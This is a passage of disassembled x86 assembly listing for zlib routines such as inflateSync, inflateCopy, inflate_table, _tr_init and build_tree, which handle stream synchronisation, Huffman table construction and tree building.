$8, %eax incl %esi movl %eax, 60(%ebx) .L08050DC0: cmpl $7, %eax ja .L08050DA8 .L08050DC5: leal 104(%ebx), %edx movl %edx, -20(%ebp) xorl %edx, %edx xorl %ecx, %ecx cmpl %esi, %edx movl $0, 104(%ebx) jae .L08050DFB .L08050DDA: .p2align 2 .L08050DDC: cmpl $1, %edx ja .L08050F1C .L08050DE5: cmpb $0, (%edi,%ecx) je .L08050F14 .L08050DEF: xorl %edx, %edx .L08050DF1: incl %ecx cmpl %esi, %ecx jae .L08050DFB .L08050DF6: cmpl $3, %edx jbe .L08050DDC .L08050DFB: movl -20(%ebp), %edi movl %edx, (%edi) movl 8(%ebp), %esi movl 4(%esi), %edi .L08050E06: xorl %esi, %esi movl 8(%ebp), %ecx cmpl %edi, %esi movl (%ecx), %eax movl 104(%ebx), %edx jae .L08050E34 .L08050E14: cmpl $3, %edx ja .L08050E34 .L08050E19: cmpl $1, %edx ja .L08050F44 .L08050E22: cmpb $0, (%eax,%esi) jne .L08050F3C .L08050E2C: incl %edx incl %esi .L08050E2E: cmpl %edi, %esi jb .L08050E14 .L08050E32: .p2align 2 .L08050E34: movl -20(%ebp), %edi movl %edx, (%edi) movl 8(%ebp), %edx subl %esi, 4(%edx) movl 8(%edx), %ecx addl %esi, %eax addl %esi, %ecx cmpl $4, 104(%ebx) movl %eax, (%edx) jne .L08050F63 .L08050E52: movl 8(%ebp), %esi testl %ebx, %ebx movl 20(%esi), %edx je .L08050EEB .L08050E60: movl 8(%ebx), %eax testl %eax, %eax movl $0, 28(%ebx) movl $0, 40(%ebx) movl $0, 44(%ebx) movl $0, 48(%ebx) movl $0, 20(%esi) movl $0, 8(%esi) movl $0, 24(%esi) je .L08050E9E .L08050E98: andl $1, %eax movl %eax, 48(%esi) .L08050E9E: leal 1328(%ebx), %eax movl $0, 4(%ebx) movl $0, 12(%ebx) movl $32768, 20(%ebx) movl $0, 32(%ebx) movl $0, 56(%ebx) movl $0, 60(%ebx) movl %eax, 108(%ebx) movl %eax, 80(%ebx) movl %eax, 76(%ebx) movl $1, 7104(%ebx) movl $-1, 7108(%ebx) .L08050EEB: movl 8(%ebp), %esi movl %ecx, 8(%esi) movl %edx, 20(%esi) movl $11, (%ebx) addl $8, %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .L08050F04: movl $-2, %eax .L08050F09: addl $8, %esp popl %ebx popl %esi popl %edi leave ret .L08050F11: .p2align 2 .L08050F14: incl %edx jmp .L08050DF1 .L08050F1A: .p2align 2 .L08050F1C: movb (%edi,%ecx), %al cmpb $255, %al je .L08050F14 .L08050F23: testb %al, %al jne .L08050DEF .L08050F2B: movl $4, %eax subl %edx, %eax movl %eax, %edx jmp .L08050DF1 .L08050F39: .p2align 2 .L08050F3C: xorl %edx, %edx incl %esi jmp .L08050E2E .L08050F44: movb (%eax,%esi), %cl cmpb $255, %cl je .L08050E2C .L08050F50: testb %cl, %cl jne .L08050F3C .L08050F54: movl $4, %ecx subl %edx, %ecx movl %ecx, %edx incl %esi jmp .L08050E2E .L08050F63: movl $-3, %eax movl %ecx, 8(%edx) jmp .L08050F09 .size inflateSync, .-inflateSync # ---------------------- .L08050F6D: .p2align 3 # ---------------------- .globl inflateSyncPoint .type inflateSyncPoint, @function inflateSyncPoint: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax je .L08050F81 .L08050F7A: movl 28(%eax), %edx testl %edx, %edx jne .L08050F88 .L08050F81: movl $-2, %eax .L08050F86: leave ret .L08050F88: xorl %eax, %eax cmpl $13, (%edx) jne .L08050F86 .L08050F8F: movl 60(%edx), %edx testl %edx, %edx jne .L08050F86 .L08050F96: movb $1, %al leave ret .size inflateSyncPoint, .-inflateSyncPoint # ---------------------- .L08050F9A: .p2align 2 # ---------------------- .globl inflateCopy .type inflateCopy, @function inflateCopy: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %esi je .L08050FC8 .L08050FAF: testl %esi, %esi je .L08050FC8 .L08050FB3: movl 28(%esi), %ebx testl %ebx, %ebx je .L08050FC8 .L08050FBA: movl 32(%esi), %eax testl %eax, %eax je .L08050FC8 .L08050FC1: movl 36(%esi), %edi testl %edi, %edi jne .L08050FD5 .L08050FC8: movl $-2, %eax .L08050FCD: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08050FD5: pushl %ecx pushl $7116 pushl $1 pushl 40(%esi) call *%eax .L08050FE2: movl %eax, -16(%ebp) movl -16(%ebp), %edx addl $16, %esp testl %edx, %edx movl $-4, %eax je .L08050FCD .L08050FF4: movl 52(%ebx), %ecx testl %ecx, %ecx movl $0, -20(%ebp) jne .L08051096 .L08051006: cld movl 8(%ebp), %edi movl $14, %ecx rep movsl pushl %edi pushl $7116 pushl %ebx pushl -16(%ebp) call memcpy .L08051020: leal 1328(%ebx), %esi movl 76(%ebx), %edx addl $16, %esp cmpl %esi, %edx jb .L08051051 .L08051030: leal 7100(%ebx), %eax cmpl %eax, %edx ja .L08051051 .L0805103A: subl %ebx, %edx movl 80(%ebx), %esi movl -16(%ebp), %ecx addl %edx, %ecx subl %ebx, %esi movl -16(%ebp), %edx addl %edx, %esi movl %ecx, 76(%edx) movl %esi, 80(%edx) .L08051051: movl 108(%ebx), %eax subl %ebx, %eax movl -20(%ebp), %edi addl -16(%ebp), %eax movl -16(%ebp), %edx testl %edi, %edi movl %eax, 108(%edx) je .L08051080 .L08051066: movl 36(%ebx), %ecx movl $1, %esi sall %cl, %esi pushl %ecx pushl %esi pushl 52(%ebx) pushl -20(%ebp) call memcpy .L0805107D: addl $16, %esp .L08051080: movl -16(%ebp), %edi movl -20(%ebp), %edx movl 8(%ebp), %ebx xorl %eax, %eax movl %edx, 52(%edi) movl %edi, 28(%ebx) jmp .L08050FCD .L08051096: pushl %eax pushl $1 movl 36(%ebx), %ecx movl $1, %eax sall %cl, %eax pushl %eax pushl 40(%esi) call *32(%esi) .L080510AA: addl $16, %esp testl %eax, %eax movl %eax, -20(%ebp) jne .L08051006 .L080510B8: subl $8, %esp pushl -16(%ebp) pushl 40(%esi) call *36(%esi) .L080510C4: movl $-4, %eax jmp .L08050FCD .size inflateCopy, .-inflateCopy # ---------------------- .L080510CE: .p2align 3 # ---------------------- .globl inflateUndermine .type inflateUndermine, @function inflateUndermine: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax je .L080510E1 .L080510DA: movl 28(%eax), %eax testl %eax, %eax jne .L080510E8 .L080510E1: movl $-2, %eax leave ret .L080510E8: movl $1, 7104(%eax) leave movl $-3, %eax ret .size inflateUndermine, .-inflateUndermine # ---------------------- .L080510F9: .p2align 2 # ---------------------- .globl inflateMark .type inflateMark, @function inflateMark: pushl %ebp movl %esp, %ebp pushl %ebx movl 8(%ebp), %eax testl %eax, %eax je .L08051128 .L08051107: movl 28(%eax), %edx testl %edx, %edx je .L08051128 .L0805110E: movl 7108(%edx), %ecx movl (%edx), %ebx sall $16, %ecx cmpl $15, %ebx je .L08051140 .L0805111E: cmpl $24, %ebx movl %ecx, %eax je .L08051130 .L08051125: popl %ebx leave ret .L08051128: movl $-65536, %eax popl %ebx leave ret .L08051130: movl 7112(%edx), %eax subl 64(%edx), %eax leal (%ecx,%eax), %eax popl %ebx leave ret .L0805113F: .p2align 3 .L08051140: movl %ecx, %eax addl 64(%edx), %eax popl %ebx leave ret .size inflateMark, .-inflateMark # ---------------------- .hidden inflate_table .globl inflate_table .type inflate_table, @function inflate_table: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $172, %esp movl 16(%ebp), %edi movl $0, -136(%ebp) xorl %eax, %eax .p2align 2 .L08051164: movw $0, -56(%ebp,%eax,2) incl %eax cmpl $15, %eax jbe .L08051164 .L08051171: xorl %edx, %edx jmp .L08051185 .L08051175: .p2align 3 .L08051178: movl 12(%ebp), %ebx movzwl (%ebx,%edx,2), %eax incw -56(%ebp,%eax,2) incl %edx .L08051185: cmpl %edi, %edx jb .L08051178 .L08051189: movl 24(%ebp), %edx movl (%edx), %esi movl %esi, -96(%ebp) movl $15, -92(%ebp) .L08051198: movl -92(%ebp), %eax cmpw $0, -56(%ebp,%eax,2) jne .L080511A9 .L080511A3: decl %eax movl %eax, -92(%ebp) jne .L08051198 .L080511A9: movl -92(%ebp), %edx cmpl %edx, -96(%ebp) jbe .L080511B4 .L080511B1: movl %edx, -96(%ebp) .L080511B4: movl -92(%ebp), %ecx testl %ecx, %ecx movl $1, %ebx jne .L080511EF .L080511C0: movl 20(%ebp), %ebx movl (%ebx), %ecx movl $320, %edx movl %edx, (%ecx) movl (%ebx), %esi leal 4(%esi), %eax movl %eax, (%ebx) movl 24(%ebp), %edi movl %edx, 4(%esi) addl $4, (%ebx) movl $1, (%edi) .L080511E2: xorl %eax, %eax .L080511E4: addl $172, %esp popl %ebx popl %esi popl %edi leave ret .L080511EF: cmpl -92(%ebp), %ebx jae .L08051202 .L080511F4: cmpw $0, -56(%ebp,%ebx,2) jne .L08051202 .L080511FC: incl %ebx cmpl -92(%ebp), %ebx jb .L080511F4 .L08051202: cmpl %ebx, -96(%ebp) jae .L0805120A .L08051207: movl %ebx, -96(%ebp) .L0805120A: movl $1, %eax movl $1, %ecx .L08051214: leal (%eax,%eax), %esi movzwl -56(%ebp,%ecx,2), %edx subl %edx, %esi movl %esi, %eax js .L08051239 .L08051222: incl %ecx cmpl $15, %ecx jbe .L08051214 .L08051228: testl %esi, %esi jle .L08051249 .L0805122C: movl 8(%ebp), %eax testl %eax, %eax je .L08051239 .L08051233: cmpl $1, -92(%ebp) je .L08051249 .L08051239: addl $172, %esp popl %ebx popl %esi movl $-1, %eax popl %edi leave ret .L08051249: movw $0, -86(%ebp) movl $1, %edx .L08051254: movw -56(%ebp,%edx,2), %cx addw -88(%ebp,%edx,2), %cx movw %cx, -86(%ebp,%edx,2) incl %edx cmpl $14, %edx jbe .L08051254 .L08051269: xorl %esi, %esi cmpl %edi, %esi jae .L080512AA .L0805126F: movl 12(%ebp), %edx movw (%edx,%esi,2), %ax testw %ax, %ax je .L080512A5 .L0805127B: movzwl %ax, %eax movw -88(%ebp,%eax,2), %dx movzwl %dx, %ecx movl %eax, -172(%ebp) movl 28(%ebp), %eax movw %si, (%eax,%ecx,2) incl %edx movl -172(%ebp), %eax movl %ecx, -160(%ebp) movw %dx, -88(%ebp,%eax,2) .L080512A5: incl %esi cmpl %edi, %esi jb .L0805126F .L080512AA: movl 8(%ebp), %edi testl %edi, %edi je .L08051584 .L080512B5: cmpl $1, 8(%ebp) je .L080515BC .L080512BF: movl $dbase.2, -124(%ebp) movl $dext.3, -128(%ebp) movl $-1, -132(%ebp) .L080512D7: movl $1, -104(%ebp) movb -96(%ebp), %cl sall %cl, -104(%ebp) movl %ebx, %edi movl 20(%ebp), %esi movl -104(%ebp), %ebx decl %ebx movl (%esi), %eax movl -96(%ebp), %edx cmpl $1, 8(%ebp) movl $0, -108(%ebp) movl $0, -140(%ebp) movl %eax, -120(%ebp) movl %edx, -156(%ebp) movl $0, -100(%ebp) movl $-1, -112(%ebp) movl %ebx, -116(%ebp) je .L0805159C .L08051327: cmpl $2, 8(%ebp) je .L080515B3 .L08051331: .p2align 2 .L08051334: movl %edi, %eax subb -100(%ebp), %al movl -136(%ebp), %edx movl -140(%ebp), %ecx movl 28(%ebp), %ebx movb %al, %dh movzwl (%ebx,%ecx,2), %eax cmpl -132(%ebp), %eax movl %edx, -136(%ebp) jge .L080514EA .L08051360: sall $16, %eax andl $65280, %edx .L08051369: orl %eax, %edx movl %edx, -136(%ebp) .L08051371: movl %edi, %ecx subl -100(%ebp), %ecx movl $1, %ebx sall %cl, %ebx movl $1, %edx movb -156(%ebp), %cl sall %cl, %edx movl -108(%ebp), %eax movb -100(%ebp), %cl shrl %cl, %eax movl %edx, -144(%ebp) movl %eax, -160(%ebp) .p2align 3 .L080513A0: subl %ebx, %edx movl -160(%ebp), %eax addl %edx, %eax movl -136(%ebp), %ecx movl -120(%ebp), %esi testl %edx, %edx movl %ecx, (%esi,%eax,4) jne .L080513A0 .L080513BA: leal -1(%edi), %ecx movb $1, %dl sall %cl, %edx jmp .L080513C6 .L080513C3: .p2align 2 .L080513C4: shrl $1, %edx .L080513C6: testl %edx, -108(%ebp) jne .L080513C4 .L080513CB: testl %edx, %edx je .L080514DE .L080513D3: leal -1(%edx), %ebx andl -108(%ebp), %ebx addl %edx, %ebx movl %ebx, -108(%ebp) .L080513DE: movw -56(%ebp,%edi,2), %dx decl %edx incl -140(%ebp) testw %dx, %dx movw %dx, -56(%ebp,%edi,2) jne .L08051411 .L080513F4: cmpl -92(%ebp), %edi je .L08051545 .L080513FD: movl 28(%ebp), %edi movl -140(%ebp), %ecx movzwl (%edi,%ecx,2), %eax movl 12(%ebp), %esi movzwl (%esi,%eax,2), %edi .L08051411: cmpl -96(%ebp), %edi jbe .L08051334 .L0805141A: movl -108(%ebp), %ebx andl -116(%ebp), %ebx cmpl -112(%ebp), %ebx je .L08051334 .L08051429: movl -100(%ebp), %edx testl %edx, %edx jne .L08051436 .L08051430: movl -96(%ebp), %esi movl %esi, -100(%ebp) .L08051436: movl %edi, %ecx subl -100(%ebp), %ecx movl -120(%ebp), %edx movl -144(%ebp), %eax leal (%edx,%eax,4), %ebx movl %ecx, %eax movl $1, %edx addl -100(%ebp), %eax sall %cl, %edx cmpl -92(%ebp), %eax movl %ebx, -120(%ebp) movl %ecx, -156(%ebp) jae .L08051486 .L08051461: .p2align 2 .L08051464: movzwl -56(%ebp,%eax,2), %esi subl %esi, %edx testl %edx, %edx jle .L08051486 .L0805146F: incl -156(%ebp) leal (%edx,%edx), %edx movl -156(%ebp), %eax addl -100(%ebp), %eax cmpl -92(%ebp), %eax jb .L08051464 .L08051486: movl $1, %ebx movb -156(%ebp), %cl sall %cl, %ebx addl %ebx, -104(%ebp) cmpl $1, 8(%ebp) je .L08051523 .L080514A0: cmpl $2, 8(%ebp) je .L0805153C .L080514AA: movl 20(%ebp), %esi movl -108(%ebp), %ebx andl -116(%ebp), %ebx movl (%esi), %eax movb -156(%ebp), %dl movl %ebx, -112(%ebp) movb %dl, (%eax,%ebx,4) movl (%esi), %edx movb -96(%ebp), %cl movb %cl, 1(%edx,%ebx,4) movl (%esi), %edx movl -120(%ebp), %eax subl %edx, %eax sarl $2, %eax movw %ax, 2(%edx,%ebx,4) jmp .L08051334 .L080514DE: movl $0, -108(%ebp) jmp .L080513DE .L080514EA: jle .L0805150D .L080514EC: movl -136(%ebp), %edx movl -128(%ebp), %ebx movl -124(%ebp), %esi movb (%ebx,%eax,2), %dl movzwl (%esi,%eax,2), %eax sall $16, %eax andl $65535, %edx jmp .L08051369 .L0805150D: movb $96, -136(%ebp) andl $65535, -136(%ebp) jmp .L08051371 .L08051523: cmpl $852, -104(%ebp) .L0805152A: jbe .L080514AA .L08051530: movl $1, %eax jmp .L080511E4 .L0805153A: .p2align 2 .L0805153C: cmpl $592, -104(%ebp) jmp .L0805152A .L08051545: movl -108(%ebp), %ebx testl %ebx, %ebx je .L0805156C .L0805154C: movb $64, -136(%ebp) movl %edi, %eax subb -100(%ebp), %al movl -136(%ebp), %edx movb %al, %dh movzwl %dx, %ecx movl -108(%ebp), %esi movl -120(%ebp), %edi movl %ecx, (%edi,%esi,4) .L0805156C: movl -104(%ebp), %ecx sall $2, %ecx movl 20(%ebp), %esi movl -96(%ebp), %edi movl 24(%ebp), %ebx addl %ecx, (%esi) movl %edi, (%ebx) jmp .L080511E2 .L08051584: movl 28(%ebp), %esi movl %esi, -128(%ebp) movl %esi, -124(%ebp) movl $19, -132(%ebp) jmp .L080512D7 .L0805159C: cmpl $852, -104(%ebp) .L080515A3: jbe .L08051334 .L080515A9: movl $1, %eax jmp .L080511E4 .L080515B3: cmpl $592, -104(%ebp) jmp .L080515A3 .L080515BC: movl $.LC0805533E, -124(%ebp) movl $.LC0805537E, -128(%ebp) movl $256, -132(%ebp) jmp .L080512D7 .size inflate_table, .-inflate_table # ---------------------- .L080515D9: .p2align 2 # ---------------------- .hidden _tr_init .globl _tr_init .type _tr_init, @function _tr_init: pushl %ebp movl %esp, %ebp movl 8(%ebp), %edx leal 148(%edx), %eax movl %eax, 2840(%edx) leal 2440(%edx), %ecx leal 2684(%edx), %eax movl %eax, 2864(%edx) movl $static_l_desc, 2848(%edx) movl %ecx, 2852(%edx) movl $static_d_desc, 2860(%edx) movl $static_bl_desc, 2872(%edx) movw $0, 5816(%edx) movl $0, 5820(%edx) xorl %eax, %eax .p2align 2 .L0805163C: movw $0, 148(%edx,%eax,4) incl %eax cmpl $285, %eax jle .L0805163C .L0805164E: xorl %eax, %eax .L08051650: movw $0, 2440(%edx,%eax,4) incl %eax cmpl $29, %eax jle .L08051650 .L08051660: xorl %eax, %eax .L08051662: movw $0, 2684(%edx,%eax,4) incl %eax cmpl $18, %eax jle .L08051662 .L08051672: movw $1, 1172(%edx) movl $0, 5804(%edx) movl $0, 5800(%edx) movl $0, 5808(%edx) movl $0, 5792(%edx) leave ret .size _tr_init, .-_tr_init # ---------------------- .L080516A5: .p2align 3 # ---------------------- .local build_tree .type build_tree, @function build_tree: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $188, %esp movl 8(%edx), %esi movl %eax, %ebx movl (%edx), %ecx movl 12(%esi), %eax movl %edx, -60(%ebp) xorl %edx, %edx cmpl %eax, %edx movl %ecx, -64(%ebp) movl %eax, -68(%ebp) movl (%esi), %ecx movl $-1, -72(%ebp) movl $0, 5200(%ebx) movl $573, 5204(%ebx) jge .L0805171F .L080516EA: .p2align 2 .L080516EC: movl -64(%ebp), %edi cmpw $0, (%edi,%edx,4) je .L08051C71 .L080516FA: movl 5200(%ebx), %esi incl %esi movl %edx, -72(%ebp) movl %edx, 2908(%ebx,%esi,4) movb $0, 5208(%edx,%ebx) incl %edx movl %esi, 5200(%ebx) cmpl -68(%ebp), %edx .L0805171D: jl .L080516EC .L0805171F: movl 5200(%ebx), %eax cmpl $1, %eax jle .L08051CF3 .L0805172E: movl -72(%ebp), %esi movl -60(%ebp), %eax movl %esi, 4(%eax) movl 5200(%ebx), %esi movl %esi, %ecx shrl $31, %ecx leal (%esi,%ecx), %eax sarl $1, %eax testl %eax, %eax movl %eax, -136(%ebp) jle .L0805182C .L08051755: .p2align 3 .L08051758: movl -136(%ebp), %edi movl 2908(%ebx,%edi,4), %edx movl %edx, -80(%ebp) movl %edi, %edx movl %edi, -156(%ebp) jmp .L080517DA .L08051772: .p2align 2 .L08051774: movl 2908(%ebx,%edx,4), %edi movl 2912(%ebx,%edx,4), %ecx movl %edi, -192(%ebp) movl %ecx, -84(%ebp) movl -64(%ebp), %eax movw (%eax,%edi,4), %ax movl -64(%ebp), %edi cmpw %ax, (%edi,%ecx,4) jb .L08051CA4 .L0805179F: je .L08051C84 .L080517A5: movl -192(%ebp), %ecx movl -64(%ebp), %eax movw (%eax,%ecx,4), %di movl -80(%ebp), %ecx cmpw %di, (%eax,%ecx,4) jb .L08051808 .L080517BB: je .L08051CB8 .L080517C1: movl -156(%ebp), %eax movl -192(%ebp), %ecx movl %ecx, 2908(%ebx,%eax,4) movl %edx, -156(%ebp) .L080517DA: sall $1, %edx cmpl %edx, %esi jl .L08051808 .L080517E0: cmpl %edx, %esi jg .L08051774 .L080517E4: movl 2908(%ebx,%edx,4), %ecx movl %ecx, -192(%ebp) movl -192(%ebp), %ecx movl -64(%ebp), %eax movw (%eax,%ecx,4), %di movl -80(%ebp), %ecx cmpw %di, (%eax,%ecx,4) jae .L080517BB .L08051807: .p2align 3 .L08051808: movl -80(%ebp), %edi movl -156(%ebp), %edx decl -136(%ebp) movl %edi, 2908(%ebx,%edx,4) movl -136(%ebp), %eax .L08051824: testl %eax, %eax jg .L08051758 .L0805182C: movl -68(%ebp), %eax movl %eax, -76(%ebp) .p2align 2 .L08051834: leal -1(%esi), %edx movl 2912(%ebx), %ecx movl 2908(%ebx,%esi,4), %esi movl %ecx, -140(%ebp) cmpl $2, %edx movl $2, %ecx movl %edx, -156(%ebp) movl %edx, 5200(%ebx) movl %esi, -88(%ebp) movl %esi, 2912(%ebx) movl $1, -92(%ebp) jmp .L080518CF .L08051870: movl 2912(%ebx,%ecx,4), %eax movl %eax, -188(%ebp) movl 2908(%ebx,%ecx,4), %edx movl -64(%ebp), %esi movw (%esi,%edx,4), %si movl -64(%ebp), %edi cmpw %si, (%edi,%eax,4) jb .L08051DB0 .L08051898: je .L08051D93 .L0805189E: movl -64(%ebp), %edi movw (%edi,%edx,4), %di movl -88(%ebp), %eax movl -64(%ebp), %esi cmpw %di, (%esi,%eax,4) jb .L080518F4 .L080518B1: .p2align 2 .L080518B4: je .L08051DC0 .L080518BA: movl -92(%ebp), %edi movl %ecx, -92(%ebp) sall $1, %ecx movl %edx, 2908(%ebx,%edi,4) cmpl %ecx, -156(%ebp) .L080518CF: jl .L080518F4 .L080518D1: cmpl %ecx, -156(%ebp) jg .L08051870 .L080518D9: movl 2908(%ebx,%ecx,4), %edx .L080518E0: movl -64(%ebp), %edi movw (%edi,%edx,4), %di movl -88(%ebp), %eax movl -64(%ebp), %esi cmpw %di, (%esi,%eax,4) jae .L080518B4 .L080518F3: .p2align 2 .L080518F4: movl -88(%ebp), %esi movl -92(%ebp), %edx movl %esi, 2908(%ebx,%edx,4) movl 5204(%ebx), %edi movl -140(%ebp), %esi movl 2912(%ebx), %edx movl %esi, 2904(%ebx,%edi,4) subl $2, %edi movl %edi, 5204(%ebx) movl %edx, 2908(%ebx,%edi,4) movl -64(%ebp), %edi movw (%edi,%edx,4), %ax addw (%edi,%esi,4), %ax movl -76(%ebp), %ecx movw %ax, (%edi,%ecx,4) movb 5208(%esi,%ebx), %cl movb 5208(%edx,%ebx), %al cmpb %al, %cl jb .L08051E30 .L08051952: leal 1(%ecx), %eax .L08051955: movl -76(%ebp), %ecx movb %al, 5208(%ecx,%ebx) movl -64(%ebp), %edi movw %cx, 2(%edi,%edx,4) movl -76(%ebp), %edx movl -140(%ebp), %esi movw %dx, 2(%edi,%esi,4) movl -76(%ebp), %eax movl %eax, -96(%ebp) movl -96(%ebp), %ecx movl 5200(%ebx), %esi incl %eax movl %ecx, 2912(%ebx) cmpl $2, %esi movl $2, %ecx movl %eax, -76(%ebp) movl $1, -100(%ebp) jmp .L08051A07 .L0805199F: .p2align 3 .L080519A0: movl 2908(%ebx,%ecx,4), %eax movl 2912(%ebx,%ecx,4), %edi movl %eax, -160(%ebp) movl %edi, -156(%ebp) movl -64(%ebp), %edx movw (%edx,%eax,4), %dx movl -64(%ebp), %eax cmpw %dx, (%eax,%edi,4) jb .L08051DF8 .L080519CE: je .L08051DDC .L080519D4: movl -64(%ebp), %edi movl -160(%ebp), %edx movw (%edi,%edx,4), %dx movl -96(%ebp), %eax cmpw %dx, (%edi,%eax,4) jb .L08051A30 .L080519EA: je .L08051E0C .L080519F0: movl -100(%ebp), %eax movl -160(%ebp), %edi movl %ecx, -100(%ebp) sall $1, %ecx movl %edi, 2908(%ebx,%eax,4) cmpl %ecx, %esi .L08051A07: jl .L08051A30 .L08051A09: cmpl %ecx, %esi jg .L080519A0 .L08051A0D: movl 2908(%ebx,%ecx,4), %eax movl %eax, -160(%ebp) movl -64(%ebp), %edi movl -160(%ebp), %edx movw (%edi,%edx,4), %dx movl -96(%ebp), %eax cmpw %dx, (%edi,%eax,4) jae .L080519EA .L08051A30: movl -96(%ebp), %edx movl -100(%ebp), %ecx cmpl $1, %esi movl %edx, 2908(%ebx,%ecx,4) jg .L08051834 .L08051A46: movl 5204(%ebx), %esi decl %esi movl 2912(%ebx), %eax movl %esi, 5204(%ebx) movl %eax, 2908(%ebx,%esi,4) movl -60(%ebp), %edi movl 4(%edi), %eax movl -60(%ebp), %edx movl -60(%ebp), %esi movl (%edx), %ecx movl %eax, -108(%ebp) movl 8(%esi), %eax movl (%eax), %edx movl 8(%eax), %edi movl 16(%eax), %esi movl %ecx, -104(%ebp) movl 4(%eax), %ecx movl %edx, -112(%ebp) movl %ecx, -116(%ebp) movl %edi, -120(%ebp) movl %esi, -124(%ebp) movl $0, -132(%ebp) xorl %eax, %eax .p2align 2 .L08051A9C: movw $0, 2876(%ebx,%eax,2) incl %eax cmpl $15, %eax jle .L08051A9C .L08051AAC: movl 5204(%ebx), %esi movl 2908(%ebx,%esi,4), %edx movl -104(%ebp), %ecx movw $0, 2(%ecx,%edx,4) movl 5204(%ebx), %edi incl %edi cmpl $572, %edi movl %edi, -128(%ebp) jle .L08051AEC .L08051AD5: jmp .L08051C24 .L08051ADA: .p2align 2 .L08051ADC: incl -128(%ebp) cmpl $572, -128(%ebp) jg .L08051B78 .L08051AEC: movl -128(%ebp), %esi movl 2908(%ebx,%esi,4), %ecx movl -104(%ebp), %edx movzwl 2(%edx,%ecx,4), %edi movzwl 2(%edx,%edi,4), %eax leal 1(%eax), %esi cmpl -124(%ebp), %esi jle .L08051B14 .L08051B0B: movl -124(%ebp), %esi incl -132(%ebp) .L08051B14: movl -104(%ebp), %eax movw %si, 2(%eax,%ecx,4) cmpl -108(%ebp), %ecx jg .L08051ADC .L08051B21: incw 2876(%ebx,%esi,2) xorl %edx, %edx cmpl -120(%ebp), %ecx jl .L08051B3B .L08051B30: movl %ecx, %eax subl -120(%ebp), %eax movl -116(%ebp), %edi movl (%edi,%eax,4), %edx .L08051B3B: movl -104(%ebp), %eax movzwl (%eax,%ecx,4), %edi leal (%esi,%edx), %eax imull %edi, %eax movl -112(%ebp), %esi addl %eax, 5800(%ebx) testl %esi, %esi je .L08051ADC .L08051B55: movl -112(%ebp), %esi movzwl 2(%esi,%ecx,4), %eax addl %edx, %eax imull %eax, %edi incl -128(%ebp) addl %edi, 5804(%ebx) cmpl $572, -128(%ebp) jle .L08051AEC .L08051B78: movl -132(%ebp), %ecx testl %ecx, %ecx je .L08051C24 .L08051B86: movl -124(%ebp), %edi leal -1(%edi), %edx .L08051B8C: movl %edx, %ecx jmp .L08051B91 .L08051B90: decl %ecx .L08051B91: movw 2876(%ebx,%ecx,2), %ax testw %ax, %ax je .L08051B90 .L08051B9E: decl %eax subl $2, -132(%ebp) movw %ax, 2876(%ebx,%ecx,2) addw $2, 2878(%ebx,%ecx,2) movl -124(%ebp), %eax movl -132(%ebp), %esi decw 2876(%ebx,%eax,2) testl %esi, %esi jg .L08051B8C .L08051BCC: testl %eax, %eax movl %eax, %edi je .L08051C24 .L08051BD2: movzwl 2876(%ebx,%edi,2), %esi .p2align 2 .L08051BDC: testl %esi, %esi je .L08051C21 .L08051BE0: decl -128(%ebp) movl -128(%ebp), %edx movl 2908(%ebx,%edx,4), %ecx cmpl -108(%ebp), %ecx jg .L08051BDC .L08051BF2: movl -104(%ebp), %edx movzwl 2(%edx,%ecx,4), %eax cmpl %edi, %eax je .L08051C1C .L08051BFE: movl %edi, %edx subl %eax, %edx movl %edx, %eax movl -104(%ebp), %edx movzwl (%edx,%ecx,4), %edx imull %edx, %eax addl %eax, 5800(%ebx) movl -104(%ebp), %eax movw %di, 2(%eax,%ecx,4) .L08051C1C: decl %esi testl %esi, %esi jne .L08051BE0 .L08051C21: decl %edi jne .L08051BD2 .L08051C24: leal 2876(%ebx), %ecx xorl %eax, %eax movl $1, %edx .p2align 2 .L08051C34: addw -2(%ecx,%edx,2), %ax sall $1, %eax movw %ax, -56(%ebp,%edx,2) incl %edx cmpl $15, %edx jle .L08051C34 .L08051C46: xorl %esi, %esi cmpl -72(%ebp), %esi jg .L08051C66 .L08051C4D: .p2align 3 .L08051C50: movl -64(%ebp), %ebx movzwl 2(%ebx,%esi,4), %edx testl %edx, %edx jne .L08051E36 .L08051C60: incl %esi .L08051C61: cmpl -72(%ebp), %esi jle .L08051C50 .L08051C66: addl $188, %esp popl %ebx popl %esi popl %edi leave ret .L08051C71: movl -64(%ebp), %edi movw $0, 2(%edi,%edx,4) incl %edx cmpl -68(%ebp), %edx jmp .L0805171D .L08051C84: movl -192(%ebp), %edi movb 5208(%edi,%ebx), %al movl -84(%ebp), %ecx cmpb %al, 5208(%ecx,%ebx) ja .L080517A5 .L08051CA1: .p2align 2 .L08051CA4: incl %edx movl 2908(%ebx,%edx,4), %eax movl %eax, -192(%ebp) jmp .L080517A5 .L08051CB7: .p2align 3 .L08051CB8: movl -192(%ebp), %edi movb 5208(%edi,%ebx), %al cmpb %al, 5208(%ecx,%ebx) ja .L080517C1 .L08051CD2: decl -136(%ebp) movl -80(%ebp), %edi movl -156(%ebp), %edx movl -136(%ebp), %eax movl %edi, 2908(%ebx,%edx,4) jmp .L08051824 .L08051CF3: testl %ecx, %ecx jne .L08051D34 .L08051CF7: jmp .L08051D80 .L08051CFC: movl %eax, 2908(%ebx,%edx,4) movl -64(%ebp), %edx movw $1, (%edx,%eax,4) decl 5800(%ebx) movb $0, 5208(%eax,%ebx) movzwl 2(%ecx,%eax,4), %esi movl 5200(%ebx), %eax subl %esi, 5804(%ebx) cmpl $1, %eax jg .L0805172E .L08051D34: leal 1(%eax), %edx xorl %eax, %eax cmpl $1, -72(%ebp) movl %edx, 5200(%ebx) jg .L08051CFC .L08051D45: incl -72(%ebp) movl -72(%ebp), %eax jmp .L08051CFC .L08051D4D: incl -72(%ebp) movl -72(%ebp), %eax .L08051D53: movl %eax, 2908(%ebx,%edx,4) movl -64(%ebp), %edx movw $1, (%edx,%eax,4) movb $0, 5208(%eax,%ebx) movl 5200(%ebx), %eax decl 5800(%ebx) cmpl $1, %eax jg .L0805172E .L08051D80: leal 1(%eax), %edx xorl %eax, %eax cmpl $1, -72(%ebp) movl %edx, 